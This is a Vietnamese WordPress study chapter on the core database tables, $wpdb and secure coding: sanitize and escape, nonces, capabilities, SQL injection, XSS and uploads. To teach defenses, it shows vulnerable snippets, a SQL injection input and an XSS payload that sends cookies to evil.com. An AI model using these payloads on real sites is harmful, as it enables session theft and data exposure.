Giáo trình ôn tập WordPress bài bản + Vibe Coding
Chương 3 – Database & Security
Đây là ngày quan trọng nhất trong cả tuần — hầu hết câu hỏi “đào sâu” và bài test coding đều xoay quanh Security. Học kỹ ngày này.
PHẦN A: CẤU TRÚC DATABASE CỦA WORDPRESS
1. Sơ đồ các bảng lõi (11 bảng mặc định)
wp_posts → mọi thứ: post, page, CPT, revision, attachment (media), nav_menu_item
wp_postmeta → custom field của post (key-value)
wp_users → tài khoản user
wp_usermeta → custom field của user (key-value)
wp_options → cấu hình toàn site (site_url, active plugins, theme settings...)
wp_terms → tên các term (category, tag, custom taxonomy term)
wp_term_taxonomy → gắn term với loại taxonomy nào
wp_term_relationships → nối post với term (bảng trung gian, many-to-many)
wp_comments → bình luận
wp_commentmeta → custom field của comment
wp_links → (gần như không dùng nữa, còn sót lại từ thời cũ)
2. Bảng wp_posts — hiểu sâu vì đây là “trái tim” của WP
Điểm quan trọng nhất phải nắm: Post, Page, CPT, Media (attachment), Revision — TẤT CẢ đều nằm chung 1 bảng wp_posts, chỉ khác nhau ở cột post_type.
SELECT ID, post_title, post_type, post_status
FROM wp_posts
WHERE post_type = 'book';
Cột quan trọng cần biết:
post_type:post,page,attachment,revision,nav_menu_item, hoặc CPT tự định nghĩa.post_status:publish,draft,pending,private,trash,auto-draft,inherit(dùng cho revision/attachment).post_parent: dùng cho page phân cấp, hoặc attachment gắn với post cha, hoặc revision gắn với post gốc.
Hệ quả thực tế bạn nên biết: vì mọi loại nội dung dùng chung bảng, nếu site có nhiều revision + nhiều CPT mà không dọn dẹp, bảng wp_posts phình rất to → ảnh hưởng hiệu năng query. Đây là lý do nên giới hạn số revision (define('WP_POST_REVISIONS', 5); trong wp-config.php).
3. wp_postmeta — mô hình EAV (Entity-Attribute-Value)
-- Cấu trúc: mỗi custom field là 1 dòng riêng
meta_id | post_id | meta_key | meta_value
1 | 10 | _book_author | Nguyễn Nhật Ánh
2 | 10 | _book_price | 150000
3 | 10 | _book_isbn | 9786041234567
Câu hỏi hay gặp: “EAV pattern có ưu nhược điểm gì?”
Ưu điểm:
- Linh hoạt tuyệt đối — thêm field mới không cần
ALTER TABLE, không cần migrate schema. - Phù hợp khi field thay đổi theo từng loại content khác nhau.
Nhược điểm:
- Query chậm khi cần lọc/sort theo nhiều meta cùng lúc — mỗi điều kiện
meta_querylà 1 lầnJOINvào chính bảngwp_postmeta, càng nhiều điều kiện càng chậm. - Không có kiểu dữ liệu thực sự (mọi
meta_valueđều lưu dạng string/text) → khó tối ưu index, khó validate ở tầng DB. - Khó làm báo cáo/thống kê phức tạp (VD: “tổng giá trị sách theo từng NXB”) vì dữ liệu không nằm ở dạng bảng phẳng (columnar).
Khi nào nên tạo Custom Table riêng thay vì dùng wp_postmeta:
Khi dữ liệu có khối lượng lớn (hàng trăm nghìn dòng trở lên), cần query phức tạp thường xuyên (filter, sort, aggregate nhiều field), hoặc có quan hệ rõ ràng như 1 bảng quan hệ thông thường — lúc đó tạo custom table với
dbDelta()sẽ tối ưu hơn nhiều so với nhồi vàowp_postmeta.
4. wp_options — và khái niệm autoload hay bị hỏi
// Lưu 1 option
update_option( 'my_plugin_settings', $data );
// Lưu với autoload = false (mặc định là 'yes'/true)
update_option( 'my_plugin_big_cache', $data, false );
Giải thích autoload: Mỗi request WP, TẤT CẢ option có autoload = yes được load 1 lần vào bộ nhớ ngay từ đầu (kể cả khi bạn không dùng đến trong request đó) — để tránh phải query DB nhiều lần rời rạc. Nghe thì tối ưu, nhưng nếu plugin nào đó lưu dữ liệu lớn (VD: cache 5MB JSON) với autoload = yes, MỌI request của site — kể cả trang không liên quan gì — đều phải tải thêm 5MB đó vào bộ nhớ. Đây là nguyên nhân phổ biến khiến site WP tự nhiên chậm hẳn sau khi cài 1 plugin nào đó.
Kinh nghiệm thực tế nên kể khi khi test:
“Khi debug site chậm, một trong những việc em kiểm tra là dùng Query Monitor xem
wp_optionscó option nào autoload dung lượng lớn bất thường không — đây là nguyên nhân hay bị bỏ sót vì không liên quan trực tiếp tới code hiển thị.”
5. $wpdb — Query trực tiếp khi cần
global $wpdb;
// Query có tham số từ người dùng — LUÔN dùng prepare()
$results = $wpdb->get_results(
$wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}my_books WHERE genre = %s AND price > %d",
$genre_input, // %s: string
$min_price // %d: integer
)
);
// Insert
$wpdb->insert(
$wpdb->prefix . 'my_books',
[ 'title' => $title, 'price' => $price ],
[ '%s', '%d' ] // format tương ứng từng cột
);
Các hàm $wpdb hay dùng:
get_results(): trả về nhiều dòng (mảng object).get_row(): trả về 1 dòng.get_var(): trả về 1 giá trị đơn (VD:COUNT(*)).insert()/update()/delete(): shortcut an toàn hơn viết SQL tay cho thao tác CRUD đơn giản.
Luôn dùng {$wpdb->prefix} thay vì hard-code wp_ — vì nhiều site đổi prefix bảng (để tăng bảo mật cơ bản, khó đoán tên bảng) hoặc dùng multisite (wp_2_, wp_3_…).
PHẦN B: SECURITY — PHẦN QUAN TRỌNG NHẤT
1. Nguyên lý tổng quát cần nói được ngay khi bị hỏi mở đầu
“WordPress security xoay quanh 3 trụ cột: (1) không bao giờ tin dữ liệu đầu vào từ người dùng — validate/sanitize; (2) luôn escape đúng ngữ cảnh khi xuất dữ liệu ra; (3) luôn kiểm tra danh tính và quyền hạn của request — nonce cho tính xác thực nguồn gốc, capability check cho phân quyền.”
2. Sanitize vs Escape — phân biệt bằng 1 câu duy nhất
“Sanitize khi LƯU (input), Escape khi IN RA (output).”
Đây là câu trả lời ngắn gọn nhất, luôn dùng được. Diễn giải sâu hơn:
- Sanitize: làm sạch dữ liệu trước khi lưu vào DB hoặc xử lý logic. Mục đích: đảm bảo dữ liệu đúng định dạng mong muốn, loại bỏ mã độc tiềm ẩn.
- Escape: chuyển đổi dữ liệu ngay trước khi in ra HTML/URL/JS, theo đúng ngữ cảnh nó sẽ xuất hiện. Mục đích: đảm bảo dữ liệu không bị trình duyệt hiểu nhầm thành code thực thi.
Vì sao cần CẢ HAI, không phải chỉ 1? Vì dữ liệu có thể đi qua nhiều nơi khác nhau theo thời gian — sanitize lúc lưu không đảm bảo an toàn 100% khi hiển thị (context có thể khác: text thường vs attribute vs URL vs javascript). Escape lúc xuất ra mới là lớp bảo vệ cuối cùng, sát với nơi dữ liệu thực sự “nguy hiểm”.
3. Bảng hàm Escape theo đúng ngữ cảnh — phải thuộc
| Hàm | Dùng khi nào |
|---|---|
esc_html() | In text thường vào giữa 2 thẻ HTML: <p><?php echo esc_html($x); ?></p> |
esc_attr() | In vào trong thuộc tính HTML: value="<?php echo esc_attr($x); ?>" |
esc_url() | In vào href, src |
esc_js() | In vào inline JavaScript (hiếm dùng, nên tránh inline JS nếu có thể) |
esc_html_e() / esc_attr_e() | Giống trên nhưng có kèm dịch đa ngôn ngữ (_e = echo + translate) |
wp_kses_post() | Cho phép 1 tập HTML tag an toàn (dùng khi cần giữ định dạng, VD nội dung rich text) |
wp_kses( $str, $allowed_tags ) | Custom whitelist tag/attribute được phép |
Bài test hay gặp: “Đoạn code này sai ở đâu?”
// SAI
echo '<a href="' . $_GET['url'] . '">Click</a>';
Trả lời: thiếu cả sanitize lẫn escape. Sửa lại:
$url = esc_url( $_GET['url'] );
echo '<a href="' . $url . '">Click</a>';
Vì đây là output trực tiếp ra HTML attribute href, dùng esc_url() là đủ và đúng ngữ cảnh (không cần sanitize riêng vì esc_url() đã tự loại bỏ scheme nguy hiểm như javascript:).
4. Nonce — chống CSRF
CSRF là gì (giải thích ngắn gọn, dễ nhớ):
Kẻ tấn công tạo 1 trang web/link giả, dụ admin (đang login WP) bấm vào. Trang giả đó âm thầm gửi request tới site WP thật (VD: xoá bài viết, đổi mật khẩu) — vì trình duyệt tự động gửi kèm cookie session của admin, WP tưởng đây là request hợp lệ từ chính admin.
Nonce giải quyết vấn đề này thế nào:
Nonce là 1 chuỗi token ngẫu nhiên, gắn với: user hiện tại + hành động cụ thể + khung thời gian (thường 24h). Server chỉ chấp nhận request nếu token khớp — kẻ tấn công không thể đoán được token này vì nó không nằm trong cookie mà được sinh riêng cho từng form/hành động.
// Tạo nonce field trong form
wp_nonce_field( 'delete_book_action', 'delete_book_nonce' );
// Kiểm tra khi xử lý
if ( ! wp_verify_nonce( $_POST['delete_book_nonce'], 'delete_book_action' ) ) {
wp_die( 'Request không hợp lệ.' );
}
Cho URL (không phải form):
$url = wp_nonce_url( admin_url('admin-post.php?action=delete_book&id=5'), 'delete_book_5' );
// Khi xử lý:
check_admin_referer( 'delete_book_5' );
⚠️ Hiểu đúng bản chất Nonce — câu hỏi hay bị hỏi vặn:
“Nonce KHÔNG PHẢI là cơ chế authentication (xác thực bạn là ai) và cũng KHÔNG PHẢI authorization (bạn có quyền gì). Nonce chỉ đảm bảo request này đến từ đúng form/nguồn hợp lệ của hệ thống mình, không phải từ nơi khác giả mạo. Authentication và Authorization vẫn phải làm riêng bằng
is_user_logged_in()vàcurrent_user_can().”
5. Capabilities & Roles
if ( current_user_can( 'edit_post', $post_id ) ) {
// được sửa bài này
}
if ( current_user_can( 'manage_options' ) ) {
// là admin (capability của Administrator role)
}
Vì sao dùng Capability thay vì check Role trực tiếp:
// KHÔNG NÊN — cứng nhắc, dễ vỡ khi hệ thống role thay đổi
if ( $user->roles[0] === 'administrator' ) { ... }
// NÊN — linh hoạt, đúng bản chất của việc cần kiểm tra
if ( current_user_can( 'manage_options' ) ) { ... }
Lý do: Role chỉ là 1 “tập hợp capability” được đặt tên, có thể tuỳ biến (site có thể tạo role mới, hoặc gán thêm capability cho role có sẵn). Check theo capability đảm bảo logic đúng với ý nghĩa hành động (“có quyền sửa option không”) thay vì phụ thuộc vào tên role cụ thể (có thể đổi).
6. SQL Injection — demo trực quan
// ❌ NGUY HIỂM — nối chuỗi trực tiếp
$genre = $_GET['genre'];
$results = $wpdb->get_results( "SELECT * FROM wp_posts WHERE post_title = '$genre'" );
// Kẻ tấn công nhập genre =: ' OR '1'='1
// Câu SQL thực tế chạy: SELECT * FROM wp_posts WHERE post_title = '' OR '1'='1'
// → trả về TOÀN BỘ bảng, hoặc tệ hơn nếu chèn thêm DROP TABLE...
// ✅ AN TOÀN — dùng prepare(), tham số được escape tự động theo đúng kiểu
$genre = $_GET['genre'];
$results = $wpdb->get_results(
$wpdb->prepare( "SELECT * FROM wp_posts WHERE post_title = %s", $genre )
);
Quy tắc tuyệt đối: bất cứ khi nào biến người dùng nhập vào xuất hiện trong câu SQL, bắt buộc qua $wpdb->prepare(). Không có ngoại lệ, kể cả khi bạn “chắc chắn” input đã được validate ở chỗ khác.
7. XSS (Cross-Site Scripting) — demo trực quan
// ❌ NGUY HIỂM
echo 'Chào ' . $_GET['name'];
// Kẻ tấn công truyền: ?name=<script>document.location='http://evil.com/steal?c='+document.cookie</script>
// → script chạy trên trình duyệt nạn nhân, đánh cắp cookie
// ✅ AN TOÀN
echo 'Chào ' . esc_html( $_GET['name'] );
// esc_html tự động chuyển < > thành < > — trình duyệt hiển thị như text, không thực thi
8. File Upload Security (hay bị hỏi nếu có phần upload)
// Dùng hàm WP có sẵn thay vì tự viết move_uploaded_file
$upload = wp_handle_upload( $_FILES['file'], [ 'test_form' => false ] );
// Luôn giới hạn loại file được phép
$allowed_types = [ 'jpg|jpeg' => 'image/jpeg', 'png' => 'image/png' ];
Nguyên tắc: không bao giờ tin đuôi file client gửi lên, luôn dùng whitelist các mime-type được phép, và không cho phép upload trực tiếp file .php vào thư mục có thể truy cập public.
PHẦN C: THỰC HÀNH TAY
Viết 1 form liên hệ đơn giản ở frontend, xử lý đầy đủ:
// 1. Shortcode hiển thị form
add_shortcode( 'contact_form', function() {
ob_start();
?>
<form method="post">
<?php wp_nonce_field( 'submit_contact_form', 'contact_nonce' ); ?>
<input type="text" name="contact_name" placeholder="Tên của bạn">
<input type="email" name="contact_email" placeholder="Email">
<textarea name="contact_message" placeholder="Nội dung"></textarea>
<button type="submit" name="contact_submit">Gửi</button>
</form>
<?php
return ob_get_clean();
});
// 2. Xử lý submit
add_action( 'init', function() {
if ( ! isset( $_POST['contact_submit'] ) ) return;
// Check nonce
if ( ! wp_verify_nonce( $_POST['contact_nonce'], 'submit_contact_form' ) ) {
wp_die( 'Request không hợp lệ.' );
}
// Sanitize
$name = sanitize_text_field( $_POST['contact_name'] );
$email = sanitize_email( $_POST['contact_email'] );
$message = sanitize_textarea_field( $_POST['contact_message'] );
// Validate thêm (sanitize không đảm bảo email đúng định dạng, cần is_email kiểm tra)
if ( ! is_email( $email ) ) {
wp_die( 'Email không hợp lệ.' );
}
global $wpdb;
$wpdb->insert(
$wpdb->prefix . 'contact_messages',
[ 'name' => $name, 'email' => $email, 'message' => $message ],
[ '%s', '%s', '%s' ]
);
});
Tự làm thêm: viết trang admin hiển thị danh sách message đã gửi, dùng esc_html() khi in name/message ra bảng — vì đây là dữ liệu do người dùng ngoài nhập, luôn phải escape khi hiển thị lại dù đã sanitize lúc lưu.
PHẦN D: TỰ KIỂM TRA CUỐI NGÀY
- Post, Page, CPT nằm chung hay riêng bảng? Phân biệt nhau bằng cột nào? (Chung bảng
wp_posts, phân biệt bằngpost_type) - EAV pattern của
wp_postmetacó nhược điểm gì về hiệu năng? (Nhiềumeta_query= nhiều JOIN, chậm khi filter/sort phức tạp) autoload = yestrongwp_optionsảnh hưởng gì nếu lưu data lớn? (Load vào bộ nhớ MỌI request, kể cả không dùng đến — làm chậm toàn site)- Nói 1 câu duy nhất phân biệt Sanitize và Escape. (“Sanitize khi lưu, Escape khi in ra”)
- Nonce chống được loại tấn công gì, và KHÔNG PHẢI là cơ chế gì? (Chống CSRF; không phải authentication/authorization)
- Tại sao dùng
current_user_can()tốt hơn check role trực tiếp? (Role có thể đổi/tuỳ biến, capability đúng bản chất quyền hạn cần kiểm tra) - Viết tay (không nhìn lại) 1 dòng
$wpdb->prepare()đúng cú pháp.
Giáo trình ôn tập WordPress bài bản + Vibe Coding
Tác giả: Giang Thanh Nhon
Trạng thái: Đang tiến hành
Số chương: 7
Đánh giá: ⭐ 10/10
Hãy là người đầu tiên bình luận về chương này!